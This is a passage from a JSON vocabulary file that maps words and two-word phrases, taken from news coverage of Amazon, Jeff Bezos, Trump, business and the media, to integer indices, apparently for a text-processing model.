\"obama did\": 117852,\n  \"office free\": 117853,\n  \"national airport\": 117854,\n  \"test participants\": 117855,\n  \"jobs pulling\": 117856,\n  \"features amazon\": 117857,\n  \"fears\": 117858,\n  \"suddenly disappears\": 117859,\n  \"live attenuated\": 117860,\n  \"concerned sales\": 117861,\n  \"problem considering\": 117862,\n  \"flame\": 117863,\n  \"pouty\": 117864,\n  \"story sp\": 117865,\n  \"stock paid\": 117866,\n  \"simon isn\": 117867,\n  \"003\": 117868,\n  \"daimler\": 117869,\n  \"coming congressman\": 117870,\n  \"homicide victims\": 117871,\n  \"asked huseman\": 117872,\n  \"1138et copyright\": 117873,\n  \"latest book\": 117874,\n  \"paid 160\": 117875,\n  \"says bezos\": 117876,\n  \"mower\": 117877,\n  \"emails unhinged\": 117878,\n  \"henderson nv\": 117879,\n  \"role approving\": 117880,\n  \"letter asking\": 117881,\n  \"gop diminishing\": 117882,\n  \"agency enforcement\": 117883,\n  \"writing awards\": 117884,\n  \"amzn start\": 117885,\n  \"sources saying\": 117886,\n  \"century nyt\": 117887,\n  \"wework\": 117888,\n  \"836\": 117889,\n  \"seeker\": 117890,\n  \"reportedly wrote\": 117891,\n  \"discussed tax\": 117892,\n  \"probe amazon\": 117893,\n  \"saint anselm\": 117894,\n  \"profile infidelity\": 117895,\n  \"trillions\": 117896,\n  \"insider notes\": 117897,\n  \"touches dies\": 117898,\n  \"copyright holders\": 117899,\n  \"jesters\": 117900,\n  \"bradfield\": 117901,\n  \"extremely unusual\": 117902,\n  \"guaranteed loans\": 117903,\n  \"conley check\": 117904,\n  \"trump shoes\": 117905,\n  \"transit initiative\": 117906,\n  \"hopefuls\": 117907,\n  \"mans\": 117908,\n  \"pay roughly\": 117909,\n  \"trump honored\": 117910,\n  \"later threatened\": 117911,\n  \"taxpayer money\": 117912,\n  \"n0\": 117913,\n  \"coffee break\": 117914,\n  \"tragic incident\": 117915,\n  \"illustrate trump\": 117916,\n  \"sreally exciting\": 117917,\n  \"operator operator\": 117918,\n  \"judge embedded\": 117919,\n  \"vine voices\": 117920,\n  \"newswi\": 117921,\n  \"key cabinet\": 117922,\n  \"secure location\": 117923,\n  \"heritage\": 117924,\n  \"collected data\": 117925,\n  \"indirect influence\": 117926,\n  \"news king\": 117927,\n  \"postponing president\": 117928,\n  \"perfect competition\": 117929,\n  \"domes atop\": 117930,\n  \"undo\": 117931,\n  \"futures amid\": 117932,\n  \"labor practices\": 117933,\n  \"twitter image\": 117934,\n  \"revealing bezos\": 117935,\n  \"maher\": 117936,\n  \"reported damian\": 117937,\n  \"chris horn\": 117938,\n  \"political consultancy\": 117939,\n  \"study nursing\": 117940,\n  \"invest\": 117941,\n  \"aberrant reading\": 117942,\n  \"trump dems\": 117943,\n  \"drone technology\": 117944,\n  \"million critics\": 117945,\n  \"finally greenlit\": 117946,\n  \"disappears\": 117947,\n  \"political donations\": 117948,\n  \"wildfire triggering\": 117949,\n  \"debate\": 117950,\n  \"weather lsu\": 117951,\n  \"endorsement propelled\": 117952,\n  \"pure guilty\": 117953,\n  \"initial location\": 117954,\n  \"bust tech\": 117955,\n  \"2018 pay\": 117956,\n  \"amazon accepts\": 117957,\n  \"caller readers\": 117958,\n  \"lahren\": 117959,\n  \"whomever\": 117960,\n  \"journal story\": 117961,\n  \"seen sexism\": 117962,\n  \"equally divided\": 117963,\n  \"splc deems\": 117964,\n  \"criminalenterprise\": 117965,\n  \"closely followed\": 117966,\n  \"scan mugshots\": 117967,\n  \"publicly voiced\": 117968,\n  \"784 billion\": 117969,\n  \"tr1200 dt3\": 117970,\n  \"thorny subject\": 117971,\n  \"parted ways\": 117972,\n  \"backlash texas\": 117973,\n  \"kunal kamlani\": 117974,\n  \"wage taxes\": 117975,\n  \"billion related\": 117976,\n  \"certainly capitol\": 117977,\n  \"917134c164ee4890b8cdc865b3484943 960x0\": 117978,\n  \"paid apple\": 117979,\n  \"new treatments\": 117980,\n  \"rosalind brewer\": 117981,\n  \"emails exposed\": 117982,\n  \"illinoisan\": 117983,\n  \"infringement notices\": 117984,\n  \"9110 tech\": 117985,\n  \"detonations\": 117986,\n  \"voter frustration\": 117987,\n  \"neighbor lauren\": 117988,\n  \"deployed overseas\": 117989,\n  \"select winner\": 117990,\n  \"kill tactics\": 117991,\n  \"characterizes\": 117992,\n  \"times kim\": 117993,\n  \"courting corporations\": 117994,\n  \"macron starts\": 117995,\n  \"local search\": 117996,\n  \"snappy response\": 117997,\n  \"doorsteps amazon\": 117998,\n  \"priced tech\": 117999,\n  \"preschool initiative\": 118000,\n  \"company representative\": 118001,\n  \"control4 lidiane\": 118002,\n  \"freshman democrat\": 118003,\n  \"microsoft surface\": 118004,\n  \"legal immigrants\": 118005,\n  \"eisen\": 118006,\n  \"lawn saying\": 118007,\n  \"book detailing\": 118008,\n  \"youtube facebook\": 118009,\n  \"glenn kessler\": 118010,\n  \"gossipy intrigue\": 118011,\n  \"helpful solicited\": 118012,\n  \"awards netflix\": 118013,\n  \"lease\": 118014,\n  \"oil sanctions\": 118015,\n  \"later delivering\": 118016,\n  \"women html\": 118017,\n  \"million bezos\": 118018,\n  \"things assume\": 118019,\n  \"living according\": 118020,\n  \"supports samantha\": 118021,\n  \"slack room\": 118022,\n  \"story facebook\": 118023,\n  \"care plans\": 118024,\n  \"tweaks\": 118025,\n  \"backlash viral\": 118026,\n  \"cnbc cited\": 118027,\n  \"men lost\": 118028,\n  \"inject billions\": 118029,\n  \"agencies including\": 118030,\n  \"paper news\": 118031,\n  \"revamping global\": 118032,\n  \"marketing guru\": 118033,\n  \"lower resolution\": 118034,\n  \"big league\": 118035,\n  \"news merch\": 118036,\n  \"marcos martial\": 118037,\n  \"apart amazon\": 118038,\n  \"runway model\": 118039,\n  \"sheet\": 118040,\n  \"donahoe explained\": 118041,\n  \"gives insight\": 118042,\n  \"380 8514\": 118043,\n  \"supposed allies\": 118044,\n  \"sears plans\": 118045,\n  \"included prime\": 118046,\n  \"based incidents\": 118047,\n  \"power hydropower\": 118048,\n  \"really long\": 118049,\n  \"malls\": 118050,\n  \"damage best\": 118051,\n  \"entities selling\": 118052,\n  \"emergency plan\": 118053,\n  \"parscale pointed\": 118054,\n  \"generation\": 118055,\n  \"tickets warrants\": 118056,\n  \"netflix ap\": 118057,\n  \"big financial\": 118058,\n  \"trump distractions\": 118059,\n  \"work ofthe\": 118060,\n  \"wise people\": 118061,\n  \"ami controversy\": 118062,\n  \"nfl regular\": 118063,\n  \"experts specialize\": 118064,\n  \"editorial max\": 118065,\n  \"house staff\": 118066,\n  \"predations\": 118067,\n  \"notoriously loyal\": 118068,\n  \"jesuit refugee\": 118069,\n  \"open clear\": 118070,\n  \"openly admitted\": 118071,\n  \"metlife\": 118072,\n  \"pester\": 118073,\n  \"chicago cubs\": 118074,\n  \"cooper say\": 118075,\n  \"antony\": 118076,\n  \"myths\": 118077,\n  \"released special\": 118078,\n  \"iii becker\": 118079,\n  \"bad investment\": 118080,\n  \"adventurous eating\": 118081,\n  \"conscious committed\": 118082,\n  \"services paid\": 118083,\n  \"suppress competition\": 118084,\n  \"avowed disdain\": 118085,\n  \"newspaper source\": 118086,\n  \"undergoing major\": 118087,\n  \"avoid state\": 118088,\n  \"salute monica\": 118089,\n  \"national republicanism\": 118090,\n  \"884 shares\": 118091,\n  \"rain read\": 118092,\n  \"mountain lion\": 118093,\n  \"press matt\": 118094,\n  \"neural\": 118095,\n  \"recent focus\": 118096,\n  \"bringing bad\": 118097,\n  \"house suspending\": 118098,\n  \"hottovy morningstar\": 118099,\n  \"charges provides\": 118100,\n  \"mortar businesses\": 118101,\n  \"secretary alexis\": 118102,\n  \"utm_term signuppage\": 118103,\n  \"mentioning taped\": 118104,\n  \"things 1997\": 118105,\n  \"governments stringing\": 118106,\n  \"nuclear program\": 118107,\n  \"representative today\": 118108,\n  \"economy added\": 118109,\n  \"generally make\": 118110,\n  \"henry oknyansky\": 118111,\n  \"432 wmal\": 118112,\n  \"bbc financial\": 118113,\n  \"defeats\": 118114,\n  \"protectionist measures\": 118115,\n  \"recipients included\": 118116,\n  \"municipal land\": 118117,\n  \"board decision\": 118118,\n  \"electoral corruption\": 118119,\n  \"sic\": 118120,\n  \"lock don\": 118121,\n  \"777 billion\": 118122,\n  \"mark zgutowicz\": 118123,\n  \"drama shows\": 118124,\n  \"administration department\": 118125,\n  \"profits earned\": 118126,\n  \"cn__column\": 118127,\n  \"post follow\": 118128,\n  \"fair quoted\": 118129,\n  \"including amc\": 118130,\n  \"singularly devastating\": 118131,\n  \"dorsky\": 118132,\n  \"orders shipped\": 118133,\n  \"favoured liberal\": 118134,\n  \"purchases including\": 118135,\n  \"2017 fec\": 118136,\n  \"food culture\": 118137,\n  \"bfk0jah9oj cbs\": 118138,\n  \"2000 just\": 118139,\n  \"based small\": 118140,\n  \"epithet fake\": 118141,\n  \"wax museum\": 118142,\n  \"geographic location\": 118143,\n  \"asset mngmt\": 118144,\n  \"times paywall\": 118145,\n  \"wedding cbs\": 118146,\n  \"remove blood\": 118147,\n  \"proceeds president\": 118148,\n  \"taxation hurts\": 118149,\n  \"database includes\": 118150,\n  \"seat wasby\": 118151,\n  \"share concerns\": 118152,\n  \"panglossian\": 118153,\n  \"widely disputed\": 118154,\n  \"topical targets\": 118155,\n  \"swosh\": 118156,\n  \"strategic expertise\": 118157,\n  \"colorado today\": 118158,\n  \"anderson nola\": 118159,\n  \"2016 campaign\": 118160,\n  \"genius collection\": 118161,\n  \"crowd included\": 118162,\n  \"toy lets\": 118163,\n  \"purportedly obtained\": 118164,\n  \"official narrative\": 118165,\n  \"false noting\": 118166,\n  \"synagogue member\": 118167,\n  \"american drug\": 118168,\n  \"tubes stretch\": 118169,\n  \"mia wasikowska\": 118170,\n  \"geographic regions\": 118171,\n  \"traffic studies\": 118172,\n  \"housing stipend\": 118173,\n  \"counts pecker\": 118174,\n  \"delivery logistics\": 118175,\n  \"whopping 160\": 118176,\n  \"river entertainment\": 118177,\n  \"red trump\": 118178,\n  \"comprehensive policies\": 118179,\n  \"coming democrats\": 118180,\n  \"topic currently\": 118181,\n  \"73rd annual\": 118182,\n  \"helping china\": 118183,\n  \"local available\": 118184,\n  \"600 people\": 118185,\n  \"world scariest\": 118186,\n  \"dad paying\": 118187,\n  \"cattle raiser\": 118188,\n  \"revamped indian\": 118189,\n  \"removal sooner\": 118190,\n  \"bullet regularly\": 118191,\n  \"deep ties\": 118192,\n  \"curiam\": 118193,\n  \"commentisfree\": 118194,\n  \"titan trump\": 118195,\n  \"qa\": 118196,\n  \"pages today\": 118197,\n  \"just used\": 118198,\n  \"regarding patent\": 118199,\n  \"house nancy\": 118200,\n  \"localand\": 118201,\n  \"kitchen chopping\": 118202,\n  \"wall headsto\": 118203,\n  \"lyme disease\": 118204,\n  \"wears blue\": 118205,\n  \"poked fun\": 118206,\n  \"futures rose\": 118207,\n  \"quietly pushed\": 118208,\n  \"brims modest\": 118209,\n  \"paying workers\": 118210,\n  \"prime autos\": 118211,\n  \"67th\": 118212,\n  \"aug 2016\": 118213,\n  \"dhs shelter\": 118214,\n  \"facing withdrawal\": 118215,\n  \"needs better\": 118216,\n  \"content economic\": 118217,\n  \"contractor edward\": 118218,\n  \"metapack carrier\": 118219,\n  \"percoco\": 118220,\n  \"smt\": 118221,\n  \"marsh\": 118222,\n  \"colours\": 118223,\n  \"news carlson\": 118224,\n  \"spending record\": 118225,\n  \"sparks latest\": 118226,\n  \"dearly\": 118227,\n  \"senators raise\": 118228,\n  \"win trump\": 118229,\n  \"growth magnitude\": 118230,\n  \"city officials\": 118231,\n  \"diverse communities\": 118232,\n  \"spends thousands\": 118233,\n  \"driverless cars\": 118234,\n  \"giant visy\": 118235,\n  \"companies partnering\": 118236,\n  \"hours longer\": 118237,\n  \"higher lifetime\": 118238,\n  \"orient corporations\": 118239,\n  \"kentucky 6th\": 118240,\n  \"manned\": 118241,\n  \"receive tax\": 118242,\n  \"buffalo\": 118243,\n  \"decline week\": 118244,\n  \"pontification amazon\": 118245,\n  \"cleveland\": 118246,\n  \"address michael\": 118247,\n  \"merchant activity\": 118248,\n  \"regence wework\": 118249,\n  \"hero turned\": 118250,\n  \"including gadgets\": 118251,\n  \"feedburner utm_medium\": 118252,\n  \"brynn\": 118253,\n  \"stieg\": 118254,\n  \"playboy club\": 118255,\n  \"cohen owner\": 118256,\n  \"straight close\": 118257,\n  \"revel\": 118258,\n  \"afp jan\": 118259,\n  \"china production\": 118260,\n  \"costco travel\": 118261,\n  \"equipment brand\": 118262,\n  \"baby onesies\": 118263,\n  \"market values\": 118264,\n  \"huge economic\": 118265,\n  \"benefits relating\": 118266,\n  \"divorce bezos\": 118267,\n  \"tennis championships\": 118268,\n  \"upload couldn\": 118269,\n  \"amidst historic\": 118270,\n  \"bigger question\": 118271,\n  \"reports trump\": 118272,\n  \"competition brought\": 118273,\n  \"bulbs yes\": 118274,\n  \"regulatory relationship\": 118275,\n  \"tracing technology\": 118276,\n  \"despite having\": 118277,\n  \"ford amazon\": 118278,\n  \"heirs xom\": 118279,\n  \"sesame\": 118280,\n  \"completely fair\": 118281,\n  \"gates according\": 118282,\n  \"washington examiner\": 118283,\n  \"tower sauron\": 118284,\n  \"globally significant\": 118285,\n  \"successful businesses\": 118286,\n  \"host charles\": 118287,\n  \"start remotely\": 118288,\n  \"splc tech\": 118289,\n  \"completely unlike\": 118290,\n  \"extend deadline\": 118291,\n  \"wireless services\": 118292,\n  \"borough amazon\": 118293,\n  \"king lear\": 118294,\n  \"representing roughly\": 118295,\n  \"shopping live\": 118296,\n  \"nyc northern\": 118297,\n  \"world hit\": 118298,\n  \"drones lack\": 118299,\n  \"icon\": 118300,\n  \"businesses tag\": 118301,\n  \"lookner lookner\": 118302,\n  \"countries generally\": 118303,\n  \"radic\": 118304,\n  \"news msnbc\": 118305,\n  \"thing toyrs\": 118306,\n  \"political feuds\": 118307,\n  \"transferred\": 118308,\n  \"ar\": 118309,\n  \"job applicants\": 118310,\n  \"cnn critical\": 118311,\n  \"award recognizes\": 118312,\n  \"suriname ecuador\": 118313,\n  \"news says\": 118314,\n  \"offered number\": 118315,\n  \"isn diversity\": 118316,\n  \"novels north\": 118317,\n  \"issue tout\": 118318,\n  \"pay half\": 118319,\n  \"workstation\": 118320,\n  \"japan france\": 118321,\n  \"creator new\": 118322,\n  \"times columnist\": 118323,\n  \"office released\": 118324,\n  \"obligated\": 118325,\n  \"friend political\": 118326,\n  \"true cost\": 118327,\n  \"nation wrought\": 118328,\n  \"kingdom expanding\": 118329,\n  \"inmed pharmaceuticals\": 118330,\n  \"recently pointed\": 118331,\n  \"allstate\": 118332,\n  \"opposed replacing\": 118333,\n  \"investigation interview\": 118334,\n  \"engine optimization\": 118335,\n  \"user data\": 118336,\n  \"o6\": 118337,\n  \"maeve reston\": 118338,\n  \"inefficient powerball\": 118339,\n  \"rescue hasn\": 118340,\n  \"swidt\": 118341,\n  \"finalist city\": 118342,\n  \"surprise divorce\": 118343,\n  \"raised pricing\": 118344,\n  \"legendary\": 118345,\n  \"mailing prices\": 118346,\n  \"president especially\": 118347,\n  \"mig\": 118348,\n  \"paying coveted\": 118349,\n  \"google reportedly\": 118350,\n  \"trump mouthpiece\": 118351,\n  \"filled\": 118352,\n  \"bloomberg alphabet\": 118353,\n  \"stressing\": 118354,\n  \"outlasted\": 118355,\n  \"active imagination\": 118356,\n  \"throated\": 118357,\n  \"board featured\": 118358,\n  \"ominous threats\": 118359,\n  \"trump declined\": 118360,\n  \"modi accent\": 118361,\n  \"emphatically rejects\": 118362,\n  \"lower court\": 118363,\n  \"2005 trump\": 118364,\n  \"company purported\": 118365,\n  \"money contacts\": 118366,\n  \"breakup\": 118367,\n  \"company expand\": 118368,\n  \"floated taking\": 118369,\n  \"funny told\": 118370,\n  \"commission agreement\": 118371,\n  \"netflix details\": 118372,\n  \"walmart says\": 118373,\n  \"facebook cnbc\": 118374,\n  \"reach compromise\": 118375,\n  \"intuitive fashion\": 118376,\n  \"think religious\": 118377,\n  \"ways corporation\": 118378,\n  \"hammer home\": 118379,\n  \"laudable\": 118380,\n  \"instructs secretary\": 118381,\n  \"blaming trump\": 118382,\n  \"considered mature\": 118383,\n  \"option deduction\": 118384,\n  \"unlike tesla\": 118385,\n  \"marc caputo\": 118386,\n  \"economy lets\": 118387,\n  \"editor marty\": 118388,\n  \"cicilline reiterated\": 118389,\n  \"bottle bobbed\": 118390,\n  \"aly song\": 118391,\n  \"utility regulating\": 118392,\n  \"handout\": 118393,\n  \"governmentwide\": 118394,\n  \"major averages\": 118395,\n  \"newsroom owned\": 118396,\n  \"including sex\": 118397,\n  \"economic summit\": 118398,\n  \"winner\": 118399,\n  \"ez reyes\": 118400,\n  \"brand products\": 118401,\n  \"ensorship\": 118402,\n  \"border installation\": 118403,\n  \"mouthpieces\": 118404,\n  \"neil diamond\": 118405,\n  \"planthat\": 118406,\n  \"000 false\": 118407,\n  \"2019 donald\": 118408,\n  \"hindsight\": 118409,\n  \"bizarrely stimulating\": 118410,\n  \"berin sz\\u00f3ka\": 118411,\n  \"psychotic break\": 118412,\n  \"barbara ellen\": 118413,\n  \"323 billion\": 118414,\n  \"potential departures\": 118415,\n  \"european authorities\": 118416,\n  \"orient express\": 118417,\n  \"company pence\": 118418,\n  \"ways sears\": 118419,\n  \"hurt business\": 118420,\n  \"failed merger\": 118421,\n  \"maryknoll\": 118422,\n  \"commonplace\": 118423,\n  \"bolsonaro finished\": 118424,\n  \"climate amazon\": 118425,\n  \"transactional model\": 118426,\n  \"1997 lot\": 118427,\n  \"fuel analysts\": 118428,\n  \"jurist\": 118429,\n  \"key drivers\": 118430,\n  \"lawrence ndrew_lawrence\": 118431,\n  \"spearheaded postal\": 118432,\n  \"using national\": 118433,\n  \"sex chats\": 118434,\n  \"morning nice\": 118435,\n  \"origin project\": 118436,\n  \"history undefined\": 118437,\n  \"analytica selling\": 118438,\n  \"frontiers\": 118439,\n  \"times subscribers\": 118440,\n  \"facebook chief\": 118441,\n  \"regarded magnanimous\": 118442,\n  \"beat david\": 118443,\n  \"tenney\": 118444,\n  \"section brought\": 118445,\n  \"137 million\": 118446,\n  \"stars lifetime\": 118447,\n  \"leaving britain\": 118448,\n  \"dc areas\": 118449,\n  \"brief sarcastic\": 118450,\n  \"time howard\": 118451,\n  \"racist violence\": 118452,\n  \"cronyism central\": 118453,\n  \"helped kick\": 118454,\n  \"rafael\": 118455,\n  \"similar wave\": 118456,\n  \"headed debate\": 118457,\n  \"phase music\": 118458,\n  \"manager dies\": 118459,\n  \"txn\": 118460,\n  \"intimate personal\": 118461,\n  \"weimar berlin\": 118462,\n  \"witter scarborough\": 118463,\n  \"income making\": 118464,\n  \"oldglory\": 118465,\n  \"famously unpredictable\": 118466,\n  \"enquirer threatened\": 118467,\n  \"season ahead\": 118468,\n  \"graying\": 118469,\n  \"permanent base\": 118470,\n  \"nydia\": 118471,\n  \"sportswear company\": 118472,\n  \"technologies amazons\": 118473,\n  \"airport project\": 118474,\n  \"builds hq2\": 118475,\n  \"record sales\": 118476,\n  \"start eu\": 118477,\n  \"grabbed major\": 118478,\n  \"youth key\": 118479,\n  \"mai mngmt\": 118480,\n  \"navarro republicans\": 118481,\n  \"beauty trump\": 118482,\n  \"bombardia\": 118483,\n  \"cooking\": 118484,\n  \"old trope\": 118485,\n  \"years lawyer\": 118486,\n  \"fairy\": 118487,\n  \"screamingly obtuse\": 118488,\n  \"trump program\": 118489,\n  \"pre meeting\": 118490,\n  \"anthropomorphized horse\": 118491,\n  \"current worker\": 118492,\n  \"intelligence daniel\": 118493,\n  \"board nominee\": 118494,\n  \"intermediate crude\": 118495,\n  \"apparel health\": 118496,\n  \"monoliths\": 118497,\n  \"protecting nassau\": 118498,\n  \"toiletry\": 118499,\n  \"job fair\": 118500,\n  \"retiree benefit\": 118501,\n  \"netteknows\": 118502,\n  \"financed abortions\": 118503,\n  \"country package\": 118504,\n  \"couriers particularly\": 118505,\n  \"rivals coming\": 118506,\n  \"newton\": 118507,\n  \"best simpsons\": 118508,\n  \"trump companies\": 118509,\n  \"shanahan\": 118510,\n  \"payforplay\": 118511,\n  \"final gop\": 118512,\n  \"ameriker\": 118513,\n  \"meal delivery\": 118514,\n  \"future unlocking\": 118515,\n  \"msnbc personalities\": 118516,\n  \"lives right\": 118517,\n  \"bby\": 118518,\n  \"privately groused\": 118519,\n  \"jail cell\": 118520,\n  \"walmart associates\": 118521,\n  \"ensw\": 118522,\n  \"skill amazon\": 118523,\n  \"drawn attention\": 118524,\n  \"camps sponsored\": 118525,\n  \"y6\": 118526,\n  \"v35\": 118527,\n  \"abortion restrictions\": 118528,\n  \"company acquisition\": 118529,\n  \"regulatory compliance\": 118530,\n  \"streetinsider\": 118531,\n  \"ivanka merchandise\": 118532,\n  \"landmark theatres\": 118533,\n  \"lottery drawing\": 118534,\n  \"businesswoman\": 118535,\n  \"paying actually\": 118536,\n  \"brazilian beef\": 118537,\n  \"companies bezos\": 118538,\n  \"legislation designed\": 118539,\n  \"jay stanley\": 118540,\n  \"division nyt\": 118541,\n  \"member kshama\": 118542,\n  \"trade conflict\": 118543,\n  \"cartoonists\": 118544,\n  \"complete ignorance\": 118545,\n  \"bezos hands\": 118546,\n  \"earlier intentions\": 118547,\n  \"splc carte\": 118548,\n  \"scraps hq2\": 118549,\n  \"guaranteed work\": 118550,\n  \"deal france\": 118551,\n  \"news value\": 118552,\n  \"huffed\": 118553,\n  \"image honoree\": 118554,\n  \"address private\": 118555,\n  \"administration office\": 118556,\n  \"includes pitch\": 118557,\n  \"partners chamber\": 118558,\n  \"federal investigations\": 118559,\n  \"competitively\": 118560,\n  \"miller review\": 118561,\n  \"box interview\": 118562,\n  \"nasdaq major\": 118563,\n  \"face encounters\": 118564,\n  \"9625 email\": 118565,\n  \"sourceamazon pirro\": 118566,\n  \"nasdaq 120\": 118567,\n  \"wall showdown\": 118568,\n  \"cnbc host\": 118569,\n  \"josh hawley\": 118570,\n  \"manufacturers department\": 118571,\n  \"invent aws\": 118572,\n  \"reportedly claim\": 118573,\n  \"somali workers\": 118574,\n  \"descriptiontext elon\": 118575,\n  \"teaser trailer\": 118576,\n  \"ceo jeff\": 118577,\n  \"gpu\": 118578,\n  \"outrages\": 118579,\n  \"post presenting\": 118580,\n  \"burgeoning federal\": 118581,\n  \"free food\": 118582,\n  \"story howard\": 118583,\n  \"ricin according\": 118584,\n  \"eyes open\": 118585,\n  \"global headquarters\": 118586,\n  \"company halliburton\": 118587,\n  \"f7a tostring\": 118588,\n  \"request online\": 118589,\n  \"capernaum nadine\": 118590,\n  \"temporary injunction\": 118591,\n  \"extreme action\": 118592,\n  \"add light\": 118593,\n  \"000 courtesy\": 118594,\n  \"sinclair worries\": 118595,\n  \"emailed requests\": 118596,\n  \"key absurdist\": 118597,\n  \"1994 early\": 118598,\n  \"tim lince\": 118599,\n  \"alexandra\": 118600,\n  \"tangible days\": 118601,\n  \"ifmbu4gec3\": 118602,\n  \"monopolized\": 118603,\n  \"fiction concerning\": 118604,\n  \"textbook definition\": 118605,\n  \"old second\": 118606,\n  \"zone bloomberg\": 118607,\n  \"10m\": 118608,\n  \"conservative authors\": 118609,\n  \"shirt sells\": 118610,\n  \"shepard member\": 118611,\n  \"charles river\": 118612,\n  \"reportedly 400\": 118613,\n  \"firsts mmm\": 118614,\n  \"ness\": 118615,\n  \"called american\": 118616,\n  \"called retail\": 118617,\n  \"190 billion\": 118618,\n  \"unionize think\": 118619,\n  \"twitter nyse\": 118620,\n  \"prominent female\": 118621,\n  \"senator vowed\": 118622,\n  \"imdb actor\": 118623,\n  \"mammals\": 118624,\n  \"routinely criticizes\": 118625,\n  \"actually canadians\": 118626,\n  \"g7a f4a\": 118627,\n  \"polarizing bezos\": 118628,\n  \"impact assessment\": 118629,\n  \"motor\": 118630,\n  \"headway\": 118631,\n  \"executive mistress\": 118632,\n  \"global practice\": 118633,\n  \"new commercial\": 118634,\n  \"flat despite\": 118635,\n  \"agency handled\": 118636,\n  \"president mental\": 118637,\n  \"va hq2\": 118638,\n  \"missouri hospital\": 118639,\n  \"trump illegally\": 118640,\n  \"critical washington\": 118641,\n  \"pummelled pharmacy\": 118642,\n  \"hail diversity\": 118643,\n  \"identical emails\": 118644,\n  \"580m\": 118645,\n  \"garner support\": 118646,\n  \"positive coverage\": 118647,\n  \"aviation organization\": 118648,\n  \"called make\": 118649,\n  \"tsxv vhi\": 118650,\n  \"dam disaster\": 118651,\n  \"generals\": 118652,\n  \"plans raised\": 118653,\n  \"books second\": 118654,\n  \"trump launches\": 118655,\n  \"impose fines\": 118656,\n  \"email newsletter\": 118657,\n  \"shipka\": 118658,\n  \"operating basis\": 118659,\n  \"carnival\": 118660,\n  \"distinct individual\": 118661,\n  \"buffett large\": 118662,\n  \"clinical\": 118663,\n  \"dleonhardt\": 118664,\n  \"munduruku warriors\": 118665,\n  \"bully biff\": 118666,\n  \"allegedly helped\": 118667,\n  \"black law\": 118668,\n  \"site offers\": 118669,\n  \"stunning announcement\": 118670,\n  \"chinese mindset\": 118671,\n  \"enabling cambridge\": 118672,\n  \"bmo\": 118673,\n  \"q19 bus\": 118674,\n  \"whatyou want\": 118675,\n  \"hasn won\": 118676,\n  \"memo sent\": 118677,\n  \"hinton\": 118678,\n  \"rohit\": 118679,\n  \"global investors\": 118680,\n  \"howe\": 118681,\n  \"national organization\": 118682,\n  \"abuser\": 118683,\n  \"deal earlier\": 118684,\n  \"pbi\": 118685,\n  \"started small\": 118686,\n  \"guardiantech\": 118687,\n  \"life lesson\": 118688,\n  \"supporter ken\": 118689,\n  \"country dangerously\": 118690,\n  \"heather long\": 118691,\n  \"hasn seen\": 118692,\n  \"pashman airs\": 118693,\n  \"pils aimed\": 118694,\n  \"consensual agreements\": 118695,\n  \"downgrade\": 118696,\n  \"mayweather\": 118697,\n  \"amazon terminated\": 118698,\n  \"antitrust state\": 118699,\n  \"obama deal\": 118700,\n  \"inside cuar\\u00f3n\": 118701,\n  \"president daughter\": 118702,\n  \"recommendations relates\": 118703,\n  \"amazon revealing\": 118704,\n  \"babies born\": 118705,\n  \"failing urine\": 118706,\n  \"vows change\": 118707,\n  \"investigators backed\": 118708,\n  \"shutdown sen\": 118709,\n  \"100 share\": 118710,\n  \"work conditions\": 118711,\n  \"detain fewer\": 118712,\n  \"1380\": 118713,\n  \"judge stated\": 118714,\n  \"cat photos\": 118715,\n  \"brazile face\": 118716,\n  \"primary results\": 118717,\n  \"ist\": 118718,\n  \"administration bezos\": 118719,\n  \"resolution calling\": 118720,\n  \"cnn foxnews\": 118721,\n  \"teeuwe mevissen\": 118722,\n  \"commence\": 118723,\n  \"tariffs mexico\": 118724,\n  \"davidson uber\": 118725,\n  \"hours trading\": 118726,\n  \"senator warren\": 118727,\n  \"q3 2017\": 118728,\n  \"packages help\": 118729,\n  \"aspx\": 118730,\n  \"included compression\": 118731,\n  \"exorbitant\": 118732,\n  \"beauty app\": 118733,\n  \"trump traveled\": 118734,\n  \"source gallo\": 118735,\n  \"rekognition saying\": 118736,\n  \"launch businesses\": 118737,\n  \"platform misleading\": 118738,\n  \"minute conveniences\": 118739,\n  \"hard defensive\": 118740,\n  \"nhl rangers\": 118741,\n  \"recode_logomark\": 118742,\n  \"ugly american\": 118743,\n  \"follow kelly\": 118744,\n  \"taxpayers shouldering\": 118745,\n  \"areas data\": 118746,\n  \"motivated normally\": 118747,\n  \"lister\": 118748,\n  \"headquartersin\": 118749,\n  \"1230x1672 getty_173218731_200015422000928060_388160\": 118750,\n  \"team realized\": 118751,\n  \"silent donation\": 118752,\n  \"nicely\": 118753,\n  \"noah recapped\": 118754,\n  \"make decision\": 118755,\n  \"columnist samin\": 118756,\n  \"second marriage\": 118757,\n  \"risk taking\": 118758,\n  \"currently predict\": 118759,\n  \"secure major\": 118760,\n  \"castrating\": 118761,\n  \"political billionaires\": 118762,\n  \"meaning near\": 118763,\n  \"referring michael\": 118764,\n  \"year agreement\": 118765,\n  \"assistant alexa\": 118766,\n  \"alan yang\": 118767,\n  \"sanders revealed\": 118768,\n  \"perceived wrongs\": 118769,\n  \"customers collectively\": 118770,\n  \"probably know\": 118771,\n  \"paulo newspaper\": 118772,\n  \"disappointingly\": 118773,\n  \"20america\": 118774,\n  \"cnn whitehouse\": 118775,\n  \"amazon petition\": 118776,\n  \"supports journalistic\": 118777,\n  \"haste\": 118778,\n  \"marketplace deigning\": 118779,\n  \"schiff moves\": 118780,\n  \"russiagate charge\": 118781,\n  \"safety regulations\": 118782,\n  \"flip phone\": 118783,\n  \"robertmuller\": 118784,\n  \"retail stocks\": 118785,\n  \"paid royalties\": 118786,\n  \"greater deforestation\": 118787,\n  \"senate homeland\": 118788,\n  \"half human\": 118789,\n  \"ap denver\": 118790,\n  \"company fastcompany\": 118791,\n  \"charges president\": 118792,\n  \"choppy trading\": 118793,\n  \"additional tax\": 118794,\n  \"veteran moves\": 118795,\n  \"sanchez says\": 118796,\n  \"domination\": 118797,\n  \"employees rights\": 118798,\n  \"watch told\": 118799,\n  \"perfunctory\": 118800,\n  \"boeing ceo\": 118801,\n  \"plane required\": 118802,\n  \"ward foto\": 118803,\n  \"problem distilled\": 118804,\n  \"trump blanket\": 118805,\n  \"kids entertained\": 118806,\n  \"left splc\": 118807,\n  \"called statewide\": 118808,\n  \"represent growing\": 118809,\n  \"conservancy\": 118810,\n  \"interesting topics\": 118811,\n  \"congress sends\": 118812,\n  \"trump declared\": 118813,\n  \"steadily shrinking\": 118814,\n  \"radio wnyc\": 118815,\n  \"certain consumers\": 118816,\n  \"hotel frequently\": 118817,\n  \"indianapolis offices\": 118818,\n  \"retail survey\": 118819,\n  \"roman hugging\": 118820,\n  \"90s\": 